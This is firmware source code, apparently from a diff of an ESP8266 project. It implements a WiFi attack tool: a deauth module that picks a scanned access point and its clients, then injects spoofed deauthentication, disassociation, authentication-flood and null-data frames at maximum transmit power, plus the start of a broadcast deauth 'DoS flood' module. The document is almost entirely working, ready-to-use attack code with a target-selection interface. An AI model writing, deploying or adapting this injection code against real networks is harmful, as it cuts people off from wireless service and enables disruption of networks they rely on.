static uint8_t disassoc_packet_buffer[sizeof(disassoc_packet_t)];
static uint8_t auth_packet_buffer[sizeof(auth_packet_t)];
static uint8_t null_packet_buffer[sizeof(null_data_packet_t)];
// --- Utility function needed by V1 logic ---
void utils_random_mac(uint8_t* mac) {
for (int i = 0; i < 6; i++) {
mac[i] = random(0, 256);
}
mac[0] &= 0xFE; // Ensure unicast address (first byte, second LSB is 0)
mac[0] |= 0x02; // Ensure locally administered address (first byte, second MSB is 1) - common practice
}
// <<< --- Forward Declarations --- >>>
void filter_stations_for_ap();
void send_packet_burst(uint8_t* packet, size_t packet_size, int count, bool change_seq);
// <<< --- End Forward Declarations --- >>>
// --- Initialization ---
void deauth_init() {
Serial.println("Deauth Module Initialized.");
currentDeauthState = DeauthStateType::SELECT_AP;
deauth_attack_active = false;
selected_ap_index = 0; // Start selection at the first AP found by scanner
selected_sta_index = 0;
packets_sent = 0;
memset(deauth_target_ap_bssid, 0, 6);
memset(deauth_target_sta_mac, 0, 6);
memset(deauth_target_ap_ssid, 0, 33);
stations_of_selected_ap_count = 0;
// Set WiFi mode (should already be STA from main setup, but good practice)
// wifi_set_opmode(STATION_MODE); // Already done in main setup
// Enable promiscuous mode for packet sniffing/injection
// wifi_promiscuous_enable(0); // Disable first? Maybe not needed.
// wifi_promiscuous_enable(1); // <<< COMMENT THIS OUT FOR NOW
// Serial.println("Deauth Init: Enabling promiscuous mode."); // <<< COMMENT THIS OUT
// <<< Set Maximum Transmit Power >>>
Serial.println("Deauth Init: Setting max TX power (82)...");
system_phy_set_max_tpw(82); // Call the function (it returns void)
// We can't directly check success, assume it worked if no crash.
Serial.println(" Max TX power set command issued.");
// <<< End Set Max TX Power >>>
// <<< Set Fixed Rate (like V1 might have implicitly done) >>>
// Mask 0x3F enables all rates (1, 2, 5.5, 11, 6, 9, 12, 18, 24, 36, 48, 54 Mbps)
// Rate 1 (1 Mbps) often gives best range/penetration for attacks
Serial.println("Deauth Init: Setting fixed rate (1 Mbps)...");
int rate_result = wifi_set_user_fixed_rate(0x3F, 1);
Serial.printf(" wifi_set_user_fixed_rate result: %d\n", rate_result);
// <<< End Set Fixed Rate >>>
// Ensure scanner has run and found some APs
if (ap_count == 0) {
Serial.println("WARN: No APs found by scanner. Deauth may not work.");
// Optionally switch back to main menu or show an error on screen
}
needsRedraw = true;
}
// --- Stop Deauth Module/Attack ---
void deauth_stop() {
Serial.println("Deauth Module Stopped.");
deauth_attack_active = false;
// Optional: Disable promiscuous mode if no other module needs it immediately
// wifi_promiscuous_enable(0);
// Serial.println("Deauth Stop: Disabled promiscuous mode.");
needsRedraw = true;
}
// --- Main Update Loop ---
void deauth_update() {
if (currentDeauthState != DeauthStateType::ATTACKING || !deauth_attack_active) {
return;
}
unsigned long current_time = millis();
// <<< Log Current Channel Periodically >>>
static unsigned long last_channel_check = 0;
if (current_time - last_channel_check > 1000) { // Check every second
uint8_t actual_channel = wifi_get_channel();
if (actual_channel != target_channel) {
Serial.printf("!!! WARNING: Channel mismatch! Expected: %d, Actual: %d\n", target_channel, actual_channel);
// Optional: Force channel back? Might conflict with other modules if not careful.
// wifi_set_channel(target_channel);
} else {
Serial.printf("Deauth Update: Channel OK (%d)\n", actual_channel); // <<< Confirm channel
}
last_channel_check = current_time;
}
// <<< End Log Current Channel >>>
// --- Cycle through attack modes ---
if (current_time - last_attack_change > ATTACK_CHANGE_INTERVAL) {
current_attack_mode = (current_attack_mode + 1) % ATTACK_MODES;
last_attack_change = current_time;
Serial.printf("Changed attack mode to %d\n", current_attack_mode); // <<< Log mode change
}
// --- Select Target Station MAC ---
const uint8_t* target_sta_mac;
if (selected_sta_index == BROADCAST_STA_INDEX) {
target_sta_mac = broadcast_mac;
} else {
int actual_sta_list_index = selected_sta_index - 1;
if (actual_sta_list_index >= 0 && actual_sta_list_index < stations_of_selected_ap_count) {
target_sta_mac = stations_of_selected_ap[actual_sta_list_index].mac;
} else {
// Fallback to broadcast if index is somehow invalid
target_sta_mac = broadcast_mac;
// Serial.println("WARN: Invalid STA index during attack, using broadcast."); // Optional debug
}
}
// --- Execute Current Attack Mode ---
uint8_t reason = reason_codes[random(0, NUM_REASONS)]; // Pick a random reason code
uint16_t reason_code_16 = reason; // Convert 1-byte reason to 2-byte variable
yield(); // <<< ADD yield() in the main attack loop between bursts
switch (current_attack_mode) {
case 0: // Deauth Broadcast (AP -> Broadcast)
case 1: // Disassoc Broadcast (AP -> Broadcast)
{
uint8_t* packet_buffer = (current_attack_mode == 0) ? deauth_packet_buffer : disassoc_packet_buffer;
size_t packet_size = (current_attack_mode == 0) ? sizeof(deauth_packet_t) : sizeof(disassoc_packet_t);
uint8_t subtype = (current_attack_mode == 0) ? 12 : 10; // 12=Deauth, 10=Disassoc
// Build packet
frame_control_t fc = {0};
fc.protocol_version = 0;
fc.type = 0; // Management
fc.subtype = subtype;
memcpy(packet_buffer, &fc, sizeof(frame_control_t)); // Frame Control
uint16_t duration = 0x013a; // Or 0
memcpy(packet_buffer + 2, &duration, 2); // Duration
memcpy(packet_buffer + 4, broadcast_mac, 6); // Addr1 (Destination)
memcpy(packet_buffer + 10, deauth_target_ap_bssid, 6); // Addr2 (Source = AP)
memcpy(packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID)
// Sequence number (bytes 22-23) set by send_packet_burst
memcpy(packet_buffer + 24, &reason_code_16, 2); // Reason Code (2 bytes)
send_packet_burst(packet_buffer, packet_size, PACKET_REPEAT_COUNT, true);
packets_sent += PACKET_REPEAT_COUNT;
}
break;
case 2: // Deauth Target STA (AP -> STA)
case 3: // Disassoc Target STA (AP -> STA)
if (target_sta_mac != broadcast_mac) { // Only if not broadcast
uint8_t* packet_buffer = (current_attack_mode == 2) ? deauth_packet_buffer : disassoc_packet_buffer;
size_t packet_size = (current_attack_mode == 2) ? sizeof(deauth_packet_t) : sizeof(disassoc_packet_t);
uint8_t subtype = (current_attack_mode == 2) ? 12 : 10;
// Build packet
frame_control_t fc = {0};
fc.protocol_version = 0;
fc.type = 0; // Management
fc.subtype = subtype;
memcpy(packet_buffer, &fc, sizeof(frame_control_t));
uint16_t duration = 0x013a;
memcpy(packet_buffer + 2, &duration, 2);
memcpy(packet_buffer + 4, target_sta_mac, 6); // Addr1 (Destination = STA)
memcpy(packet_buffer + 10, deauth_target_ap_bssid, 6); // Addr2 (Source = AP)
memcpy(packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID)
memcpy(packet_buffer + 24, &reason_code_16, 2); // Reason Code (2 bytes)
send_packet_burst(packet_buffer, packet_size, PACKET_REPEAT_COUNT, true);
packets_sent += PACKET_REPEAT_COUNT;
}
break;
case 4: // Deauth from random MACs to target STA/Broadcast
{
uint8_t random_mac[6];
utils_random_mac(random_mac); // <<< CALL the function defined earlier >>>
// Build Deauth packet
frame_control_t fc = {0};
fc.protocol_version = 0;
fc.type = 0; // Management
fc.subtype = 12; // Deauth
memcpy(deauth_packet_buffer, &fc, sizeof(frame_control_t));
uint16_t duration = 0x013a;
memcpy(deauth_packet_buffer + 2, &duration, 2);
memcpy(deauth_packet_buffer + 4, target_sta_mac, 6); // Addr1 (Destination = STA/Broadcast)
memcpy(deauth_packet_buffer + 10, random_mac, 6); // Addr2 (Source = Random)
memcpy(deauth_packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID = Target AP)
memcpy(deauth_packet_buffer + 24, &reason_code_16, 2); // Reason Code (2 bytes)
send_packet_burst(deauth_packet_buffer, sizeof(deauth_packet_t), PACKET_REPEAT_COUNT / 2, true); // Fewer repeats for this mode
packets_sent += PACKET_REPEAT_COUNT / 2;
}
break;
case 5: // Auth flood to AP (from random MACs)
{
uint8_t random_mac[6];
utils_random_mac(random_mac);
// Build Auth packet
frame_control_t fc = {0};
fc.protocol_version = 0;
fc.type = 0; // Management
fc.subtype = 11; // Auth
memcpy(auth_packet_buffer, &fc, sizeof(frame_control_t));
uint16_t duration = 0x013a;
memcpy(auth_packet_buffer + 2, &duration, 2);
memcpy(auth_packet_buffer + 4, deauth_target_ap_bssid, 6); // Addr1 (Destination = AP)
memcpy(auth_packet_buffer + 10, random_mac, 6); // Addr2 (Source = Random)
memcpy(auth_packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID = AP)
uint16_t auth_alg = 0; // Open System
uint16_t auth_seq = 1;
uint16_t status_code = 0; // Success (or try other codes?)
memcpy(auth_packet_buffer + 24, &auth_alg, 2);
memcpy(auth_packet_buffer + 26, &auth_seq, 2);
memcpy(auth_packet_buffer + 28, &status_code, 2);
send_packet_burst(auth_packet_buffer, sizeof(auth_packet_t), PACKET_REPEAT_COUNT / 2, true);
packets_sent += PACKET_REPEAT_COUNT / 2;
}
break;
case 6: // Null data flood (AP -> STA/Broadcast) - Can disrupt power save
{
// Build Null Data packet
frame_control_t fc = {0};
fc.protocol_version = 0;
fc.type = 2; // Data
fc.subtype = 4; // Null Data (no data)
// Set ToDS=1, FromDS=0 if AP->STA
fc.flags = 0b00000001; // ToDS=1
memcpy(null_packet_buffer, &fc, sizeof(frame_control_t));
uint16_t duration = 0;
memcpy(null_packet_buffer + 2, &duration, 2);
memcpy(null_packet_buffer + 4, deauth_target_ap_bssid, 6); // Addr1 (RA = AP BSSID)
memcpy(null_packet_buffer + 10, target_sta_mac, 6); // Addr2 (TA = STA/Broadcast)
memcpy(null_packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (DA = AP BSSID) - Check 802.11 address fields for ToDS=1
send_packet_burst(null_packet_buffer, sizeof(null_data_packet_t), PACKET_REPEAT_COUNT, true);
packets_sent += PACKET_REPEAT_COUNT;
}
break;
case 7: // Deauth Target STA (STA -> AP - Spoofed)
if (target_sta_mac != broadcast_mac) { // Only if not broadcast
// Build Deauth packet
frame_control_t fc = {0};
fc.protocol_version = 0;
fc.type = 0; // Management
fc.subtype = 12; // Deauth
memcpy(deauth_packet_buffer, &fc, sizeof(frame_control_t));
uint16_t duration = 0x013a;
memcpy(deauth_packet_buffer + 2, &duration, 2);
memcpy(deauth_packet_buffer + 4, deauth_target_ap_bssid, 6); // Addr1 (Destination = AP)
memcpy(deauth_packet_buffer + 10, target_sta_mac, 6); // Addr2 (Source = STA)
memcpy(deauth_packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID)
memcpy(deauth_packet_buffer + 24, &reason_code_16, 2); // Reason Code (2 bytes)
send_packet_burst(deauth_packet_buffer, sizeof(deauth_packet_t), PACKET_REPEAT_COUNT, true);
packets_sent += PACKET_REPEAT_COUNT;
}
break;
}
}
// --- Draw Deauth UI ---
void deauth_draw() {
// Header is drawn by ui_update
oled.setFont(u8g2_font_5x7_tf); // Use a smaller font
char buffer[40];
int yPos = 33; // Starting Y position for lists (consistent with scanner)
int line_height = 8;
const int items_to_display = 3; // Show 3 items per page (adjust based on font)
const int lines_per_item_ap = 2; // APs take 2 lines
const int gap_between_items = 1;
const int item_block_height_ap = (line_height * lines_per_item_ap) + gap_between_items;
const int item_block_height_sta = line_height + gap_between_items; // STAs take 1 line + gap
int total_sta_options = stations_of_selected_ap_count + 1; // +1 for Broadcast
switch (currentDeauthState) {
case DeauthStateType::SELECT_AP:
oled.drawStr(0, 23, "Select Target AP:");
oled.drawHLine(0, 25, SCREEN_WIDTH);
if (ap_count == 0) {
oled.drawStr(10, 40, "No APs found!");
oled.drawStr(10, 50, "Run Scanner first.");
} else {
// Draw AP list
for (int i = 0; i < items_to_display; ++i) {
int current_item_index = ap_display_offset + i;
if (current_item_index >= ap_count) break;
AccessPointInfo* ap = &ap_list[current_item_index]; // Get AP from scanner list
bool is_selected = (current_item_index == selected_ap_index);
const char* select_char = is_selected ? ">" : " ";
// <<< --- Add Debug Print Here --- >>>
Serial.printf("Deauth Draw AP[%d]: SSID='%s', ssid[0]=%d (char:'%c')\n",
current_item_index,
ap->ssid,
(int)ap->ssid[0],
ap->ssid[0] ? ap->ssid[0] : '?'); // Print char if not null
// <<< --- End Debug Print --- >>>
// Line 1: Selection, SSID, Encryption
String encStr = encryption_to_string(ap->encryption);
snprintf(buffer, sizeof(buffer), "%s%-16.16s %s", select_char, ap->ssid[0] ? ap->ssid : "[Hidden]", encStr.c_str());
oled.drawStr(0, yPos, buffer);
// Line 2: BSSID, RSSI
snprintf(buffer, sizeof(buffer), " %s R:%d", macToString(ap->bssid).c_str(), ap->rssi);
oled.drawStr(0, yPos + line_height, buffer);
yPos += item_block_height_ap;
}
// Draw scroll indicators for AP list
if (ap_count > items_to_display) {
if (ap_display_offset > 0) {
oled.drawTriangle(SCREEN_WIDTH - 6, 27, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); // Up arrow
}
if (ap_display_offset + items_to_display < ap_count) {
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 1, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 5, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 5); // Down arrow
}
}
}
break;
case DeauthStateType::SELECT_STA:
oled.drawStr(0, 23, "Select Target STA:");
oled.drawHLine(0, 25, SCREEN_WIDTH);
// Show selected AP SSID at the bottom for context
snprintf(buffer, sizeof(buffer), "AP: %.20s", deauth_target_ap_ssid[0] ? deauth_target_ap_ssid : macToString(deauth_target_ap_bssid).c_str()); // Show BSSID if SSID empty
oled.drawStr(0, SCREEN_HEIGHT - 1, buffer); // Draw at bottom line
// Draw STA list (including Broadcast) - Single line per item
for (int i = 0; i < items_to_display; ++i) {
int current_item_index = sta_display_offset + i;
if (current_item_index >= total_sta_options) break;
bool is_selected = (current_item_index == selected_sta_index);
const char* select_char = is_selected ? ">" : " ";
if (current_item_index == BROADCAST_STA_INDEX) {
// Draw Broadcast option
snprintf(buffer, sizeof(buffer), "%s Broadcast", select_char);
oled.drawStr(0, yPos, buffer);
} else {
// Draw actual Station MAC
int actual_sta_list_index = current_item_index - 1; // Adjust index for stations_of_selected_ap list
StationInfo* sta = &stations_of_selected_ap[actual_sta_list_index];
snprintf(buffer, sizeof(buffer), "%s %s R:%d", select_char, macToString(sta->mac).c_str(), sta->rssi);
oled.drawStr(0, yPos, buffer);
}
yPos += item_block_height_sta; // Use STA item height
}
// Draw scroll indicators for STA list
if (total_sta_options > items_to_display) {
if (sta_display_offset > 0) {
oled.drawTriangle(SCREEN_WIDTH - 6, 27, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); // Up arrow
}
if (sta_display_offset + items_to_display < total_sta_options) {
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 8, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 12, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 12); // Down arrow (raised slightly due to AP name at bottom)
}
}
break;
case DeauthStateType::ATTACKING:
oled.drawStr(0, 23, "Deauth Attack Active");
oled.drawHLine(0, 25, SCREEN_WIDTH);
// Show SSID if known, otherwise BSSID
snprintf(buffer, sizeof(buffer), "AP: %s",
(strlen(deauth_target_ap_ssid) > 0) ? deauth_target_ap_ssid : macToString(deauth_target_ap_bssid).c_str());
oled.drawStr(0, yPos, buffer);
if (memcmp(deauth_target_sta_mac, broadcast_mac, 6) == 0) {
snprintf(buffer, sizeof(buffer), "STA: Broadcast");
} else {
snprintf(buffer, sizeof(buffer), "STA: %s", macToString(deauth_target_sta_mac).c_str());
}
oled.drawStr(0, yPos + line_height, buffer);
// Display the CURRENT channel being attacked in the loop, and total packets sent
snprintf(buffer, sizeof(buffer), "Pkts: %lu Mode: %d", packets_sent, current_attack_mode);
oled.drawStr(0, yPos + (line_height * 2), buffer);
if (!deauth_attack_active) {
oled.drawStr(SCREEN_WIDTH - 40, yPos + (line_height * 2), "[Paused]");
}
// Add hint for controls
oled.setFont(u8g2_font_4x6_tf); // Even smaller font
oled.drawStr(0, SCREEN_HEIGHT - 1, "Short:Pause/Run Long:Stop");
break;
}
}
// --- Handle Button Input for Deauth Mode ---
void deauth_handle_input(ButtonPressType pressType) {
// <<< DEBUG: Print received press type >>>
if (pressType != ButtonPressType::NO_PRESS) {
Serial.printf("Deauth received pressType: %d (State: %d)\n", (int)pressType, (int)currentDeauthState);
}
// <<< End DEBUG >>>
const int items_per_page = 2; // Items shown per screen
switch (currentDeauthState) {
case DeauthStateType::SELECT_AP:
if (ap_count == 0 && pressType != ButtonPressType::LONG_PRESS) return; // Allow long press to exit
if (pressType == ButtonPressType::SHORT_PRESS) {
Serial.println("Deauth Select AP: Short Press -> Next AP"); // <<< DEBUG
selected_ap_index = (selected_ap_index + 1) % ap_count;
// Adjust display offset
if (selected_ap_index < ap_display_offset) { // Wrap around top
ap_display_offset = selected_ap_index;
} else if (selected_ap_index >= ap_display_offset + items_per_page) { // Scroll down
ap_display_offset = selected_ap_index - items_per_page + 1;
}
// Ensure offset doesn't go past the last possible page start
if (ap_display_offset > ap_count - items_per_page && ap_count > items_per_page) {
ap_display_offset = ap_count - items_per_page;
}
if (ap_display_offset < 0) ap_display_offset = 0; // Should not happen, but safety check
Serial.printf("Selected AP index: %d, Offset: %d\n", selected_ap_index, ap_display_offset);
needsRedraw = true;
} else if (pressType == ButtonPressType::LONG_PRESS) {
if (ap_count > 0) {
Serial.println("Deauth Select AP: Long Press -> Select AP, Go to STA Select"); // <<< DEBUG
// Select AP, store BSSID, SSID, Channel
// ... (copy AP data) ...
filter_stations_for_ap(); // Find stations for this AP
currentDeauthState = DeauthStateType::SELECT_STA;
selected_sta_index = 0; // Start at Broadcast
sta_display_offset = 0;
} else {
Serial.println("Deauth Select AP: Long Press -> Exit (No APs)"); // <<< DEBUG
// No APs to select, just exit back to main menu
currentState = UIState::MAIN_MENU;
currentMenuIndex = 0;
}
needsRedraw = true;
}
break;
case DeauthStateType::SELECT_STA:
{ // Braces for variable scope
int total_sta_options = stations_of_selected_ap_count + 1; // +1 for Broadcast
if (pressType == ButtonPressType::SHORT_PRESS) {
Serial.println("Deauth Select STA: Short Press -> Next STA/Broadcast"); // <<< DEBUG
// ... (increment selected_sta_index, handle offset) ...
needsRedraw = true;
} else if (pressType == ButtonPressType::LONG_PRESS) {
// Select STA/Broadcast and start attack
Serial.println("--- Starting Deauth Attack ---"); // <<< DEBUG
if (selected_sta_index == BROADCAST_STA_INDEX) {
Serial.println("Selected Target STA: Broadcast");
memcpy(deauth_target_sta_mac, broadcast_mac, 6);
} else {
int actual_sta_list_index = selected_sta_index - 1;
if (actual_sta_list_index >= 0 && actual_sta_list_index < stations_of_selected_ap_count) {
memcpy(deauth_target_sta_mac, stations_of_selected_ap[actual_sta_list_index].mac, 6);
Serial.printf("Selected Target STA: %s\n", macToString(deauth_target_sta_mac).c_str()); // <<< DEBUG
} else {
Serial.println("ERROR: Invalid selected station index! Defaulting to Broadcast.");
memcpy(deauth_target_sta_mac, broadcast_mac, 6);
}
}
// Log target AP details again just before attack start
Serial.printf("Target AP BSSID: %s\n", macToString(deauth_target_ap_bssid).c_str()); // <<< DEBUG
Serial.printf("Target AP SSID: %s\n", deauth_target_ap_ssid); // <<< DEBUG
Serial.printf("Target AP Channel: %d\n", target_channel); // <<< DEBUG
// Start attack state
currentDeauthState = DeauthStateType::ATTACKING;
deauth_attack_active = true;
packets_sent = 0;
current_attack_mode = 0; // Start with first attack mode
last_attack_change = millis(); // Reset attack mode timer
deauth_seq_num = 0; // Reset sequence number
// --- Set Channel ONCE to Target AP Channel ---
Serial.printf("Deauth Start: Setting channel to %d\n", target_channel);
wifi_set_channel(target_channel);
delay(5); // Small delay after channel set
// --- End Set Channel ONCE ---
Serial.println("Attack state entered (V1 Logic).");
needsRedraw = true;
}
} // End braces for variable scope
break;
case DeauthStateType::ATTACKING:
if (pressType == ButtonPressType::SHORT_PRESS) {
// Toggle attack pause/resume
deauth_attack_active = !deauth_attack_active;
Serial.printf("Deauth Attack: Short Press -> %s\n", deauth_attack_active ? "Attack Resumed" : "Attack Paused"); // <<< DEBUG
needsRedraw = true;
} else if (pressType == ButtonPressType::LONG_PRESS) {
// Stop attack and return to AP selection
deauth_attack_active = false;
Serial.println("Deauth Attack: Long Press -> Stopping Attack, Returning to AP Select");
currentDeauthState = DeauthStateType::SELECT_AP;
// Optional: Disable promiscuous mode here?
// wifi_promiscuous_enable(0);
// Serial.println("Deauth Stop Attack: Disabled promiscuous mode.");
needsRedraw = true;
}
break;
}
}
// --- Send Packet Burst (V1 Style) ---
void send_packet_burst(uint8_t* packet, size_t packet_size, int count, bool change_seq) {
// Ensure packet size is reasonable
if (packet_size < 24) { // Minimum size for MAC headers + sequence
Serial.println("!!! ERROR: send_packet_burst - packet_size too small!");
return;
}
// <<< Log packet details more often (e.g., once per mode change or periodically) >>>
// This can be verbose, enable carefully
// Serial.printf("send_packet_burst: Mode=%d, Size=%d, Count=%d\n", current_attack_mode, packet_size, count);
// Serial.print(" Packet Hex: ");
// for(size_t k=0; k<packet_size; ++k) Serial.printf("%02X ", packet[k]);
// Serial.println();
for (int i = 0; i < count; ++i) {
if (change_seq) {
// Update sequence number in the packet (bytes 22-23)
uint16_t seq_ctrl = (deauth_seq_num++ << 4) | 0;
if (deauth_seq_num >= 4096) deauth_seq_num = 0;
memcpy(packet + 22, &seq_ctrl, 2);
}
// Send the packet
int result = wifi_send_pkt_freedom(packet, packet_size, false); // Use sys_seq=false for manual sequence control
// <<< Log EVERY failure >>>
if (result != 0) {
Serial.printf("!!! Mode %d: wifi_send_pkt_freedom failed (Result: %d) on burst %d\n", current_attack_mode, result, i);
// Consider adding a small delay here if failures are constant, maybe buffer is full? delay(1);
}
// Minimal delay - V1 used DEAUTH_INTERVAL=0, but a tiny delay might help stability
delayMicroseconds(100); // <<< INCREASED: Slightly longer delay between packets
// Yield occasionally within the burst to prevent WDT reset
if (i % 10 == 0) { // <<< Yield more often within the burst
yield();
}
}
}
// --- Filter Stations for Selected AP ---
void filter_stations_for_ap() {
stations_of_selected_ap_count = 0;
if (selected_ap_index < 0 || selected_ap_index >= ap_count) return; // Safety check
AccessPointInfo* target_ap = &ap_list[selected_ap_index];
memcpy(deauth_target_ap_bssid, target_ap->bssid, 6);
strncpy(deauth_target_ap_ssid, target_ap->ssid, 32);
deauth_target_ap_ssid[32] = '\0'; // Ensure null termination
target_channel = target_ap->channel;
Serial.printf("Filtering stations for AP: %s (%s)\n", deauth_target_ap_ssid, macToString(deauth_target_ap_bssid).c_str());
for (int i = 0; i < sta_count; ++i) {
// Check if the station's associated AP BSSID matches the target AP's BSSID
if (memcmp(sta_list[i].bssid_ap, deauth_target_ap_bssid, 6) == 0) {
if (stations_of_selected_ap_count < MAX_STAS_PER_AP) {
memcpy(&stations_of_selected_ap[stations_of_selected_ap_count], &sta_list[i], sizeof(StationInfo));
stations_of_selected_ap_count++;
Serial.printf(" Found matching STA: %s\n", macToString(sta_list[i].mac).c_str());
} else {
Serial.println(" Max stations for selected AP reached.");
break; // Stop adding if the filtered list is full
}
}
}
Serial.printf("Found %d stations associated with the selected AP.\n", stations_of_selected_ap_count);
}

52
src/deauth.h Normal file
View File

@ -0,0 +1,52 @@
#ifndef DEAUTH_H
#define DEAUTH_H
#include <Arduino.h>
#include <ESP8266WiFi.h> // For MAC address type
#include "ui.h" // For ButtonPressType
#include "scanner.h" // Include for StationInfo, frame_control_t etc.
// --- Deauth Module States ---
enum class DeauthStateType {
SELECT_AP, // Show list of APs from scanner
SELECT_STA, // Show list of STAs for selected AP (and Broadcast option)
ATTACKING // Sending deauth packets
};
// --- Constants ---
#define DEAUTH_PACKET_INTERVAL 50 // ms between sending packets
#define MAX_STAS_PER_AP 15 // Max stations to display for a selected AP
//#define BROADCAST_MAC {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} // Define in .cpp instead
extern const uint8_t broadcast_mac[6]; // <<< ADD extern declaration
// --- Target Information ---
extern uint8_t deauth_target_ap_bssid[6];
extern uint8_t deauth_target_sta_mac[6];
extern char deauth_target_ap_ssid[33]; // Store SSID for display
extern bool deauth_attack_active;
extern uint8_t current_attack_mode; // <<< ADD extern declaration for UI access
// --- Function Declarations ---
void deauth_init();
void deauth_update();
void deauth_stop();
void deauth_draw(); // Function to draw deauth UI based on state
void deauth_handle_input(ButtonPressType pressType); // Handle button presses
// Internal functions
void send_deauth_packet(const uint8_t* ap_bssid, const uint8_t* sta_mac, uint8_t channel);
// SDK function for packet injection
extern "C" {
#include "user_interface.h"
// Function to send raw 802.11 frames (check SDK docs for exact signature/availability)
// int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq); // Example signature
// Let's assume this is the correct one for now. If compilation fails, we'll find the right one.
int wifi_send_pkt_freedom(uint8_t *buf, int len, bool sys_seq);
// Function to set fixed WiFi rate
int wifi_set_user_fixed_rate(uint8_t enable_mask, uint8_t rate);
// Function to set max TX power (already declared in .cpp, but good practice here too)
void system_phy_set_max_tpw(uint8 max_tpw);
}
#endif // DEAUTH_H

187
src/dos.cpp Normal file
View File

@ -0,0 +1,187 @@
#include "dos.h"
#include "utils.h" // For random MAC, macToString
#include "config.h" // For screen dimensions etc.
// #include "deauth.h" // <<< INCLUDE DEAUTH HEADER for its packet structure
#include <U8g2lib.h> // For OLED drawing
#include <ESP8266WiFi.h> // For wifi_set_channel, wifi_send_pkt_freedom
// --- SDK Function Declarations ---
extern "C" {
#include "user_interface.h"
// Declare wifi_send_pkt_freedom if not already globally available
// int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);
}
// --- Copied Deauth Packet Structure (WORKAROUND) ---
// Define it here temporarily to resolve compilation error
typedef struct {
struct {
uint8_t protocol_version : 2;
uint8_t type : 2; // 0 = Management
uint8_t subtype : 4; // 12 = Deauthentication
uint8_t flags;
} __attribute__((packed)) frame_control;
uint16_t duration_id;
uint8_t addr1[6]; // Destination MAC (Receiver)
uint8_t addr2[6]; // Source MAC (Transmitter)
uint8_t addr3[6]; // BSSID (AP MAC)
uint16_t seq_ctrl;
uint16_t reason_code;
} __attribute__((packed)) deauth_packet_t; // Make sure this name matches what's used below
// --- Define Broadcast MAC locally ---
static const uint8_t broadcast_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // <<< ADD BACK DEFINITION
// --- External UI Elements ---
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
extern bool needsRedraw;
extern UIState currentState; // To return to main menu
// --- Internal State ---
bool dos_flood_active = false; // Definition of the flag
static uint8_t current_dos_channel = 1;
static unsigned long last_dos_packet_time = 0;
// static unsigned long last_dos_channel_hop_time = 0; // <<< No longer needed
static unsigned long last_dos_redraw_time = 0;
static uint32_t dos_packets_sent = 0;
// --- Packet Buffer ---
static deauth_packet_t dos_packet_buffer; // <<< USE deauth_packet_t from deauth.h
// --- Initialization ---
void dos_init() {
Serial.println("DoS Module Initialized (Broadcast Deauth Flood).");
Serial.printf("DoS Init: Calculated deauth_packet_t size: %d bytes\n", sizeof(deauth_packet_t)); // <<< CORRECT SIZEOF ARGUMENT
dos_flood_active = false;
current_dos_channel = 1;
last_dos_packet_time = 0;
last_dos_redraw_time = 0;
dos_packets_sent = 0;
// Don't enable promiscuous mode or set channel here, wait for start
}
// --- Stop Function ---
void dos_stop() {
if (dos_flood_active) {
dos_flood_active = false;
Serial.println("DoS Flood Stopped.");
wifi_promiscuous_enable(0); // Disable promiscuous mode
Serial.println("DoS Stop: Disabled promiscuous mode.");
// Optional: Restore original channel?
needsRedraw = true; // Redraw UI to show stopped state
}
}
// --- Main Update Loop ---
void dos_update() {
if (!dos_flood_active) { // <<< RESTORE: Only run when active
return;
}
unsigned long current_time = millis();
bool packet_sent_this_cycle = false;
// --- REMOVED Channel Hopping Logic ---
// --- Send Deauth Packet (Targeting Self) ---
if (current_time - last_dos_packet_time > DOS_PACKET_INTERVAL) {
// 1. Get device's own MAC
uint8_t station_mac[6];
wifi_get_macaddr(STATION_IF, station_mac);
// 2. Fill packet structure (using deauth_packet_t fields)
dos_packet_buffer.frame_control.type = 0; // Management frame
dos_packet_buffer.frame_control.subtype = 12; // Deauthentication subtype
dos_packet_buffer.duration_id = 0; // Or 314 microseconds
memcpy(dos_packet_buffer.addr1, station_mac, 6); // <<< Destination: Send to SELF for testing
memcpy(dos_packet_buffer.addr2, station_mac, 6); // Source: Use device's own MAC
memcpy(dos_packet_buffer.addr3, station_mac, 6); // BSSID: Use device's own MAC
dos_packet_buffer.seq_ctrl = 0; // SDK handles sequence if sys_seq=true, otherwise 0 is fine
dos_packet_buffer.reason_code = 1; // Reason: Unspecified
// 3. Send packet
int result = wifi_send_pkt_freedom((uint8_t*)&dos_packet_buffer, sizeof(deauth_packet_t), true); // sys_seq=true
// 4. Log and count
if (result == 0) {
dos_packets_sent++;
packet_sent_this_cycle = true;
} else {
Serial.printf("!!! DoS Send (Self): Ch=%d -> FAIL (Result: %d)\n", current_dos_channel, result); // Update log message
}
last_dos_packet_time = current_time;
}
// --- Trigger Redraw Periodically ---
if (packet_sent_this_cycle && (current_time - last_dos_redraw_time > 500)) { // Update ~2 times/sec
needsRedraw = true;
last_dos_redraw_time = current_time;
}
yield(); // Prevent WDT reset
}
// --- UI Drawing Function ---
void dos_draw() {
oled.setFont(u8g2_font_6x10_tf);
if (dos_flood_active) {
oled.drawStr(0, 25, "DoS Flood Active!");
char count_str[30];
snprintf(count_str, sizeof(count_str), "Sent: %lu", dos_packets_sent);
oled.drawStr(0, 40, count_str);
char chan_str[20];
snprintf(chan_str, sizeof(chan_str), "Channel: %d (Fixed)", current_dos_channel);
oled.drawStr(0, 55, chan_str);
oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Stop");
} else {
oled.drawStr(0, 30, "DoS Flood Ready");
oled.drawStr(0, 45, "(Broadcast Deauth)");
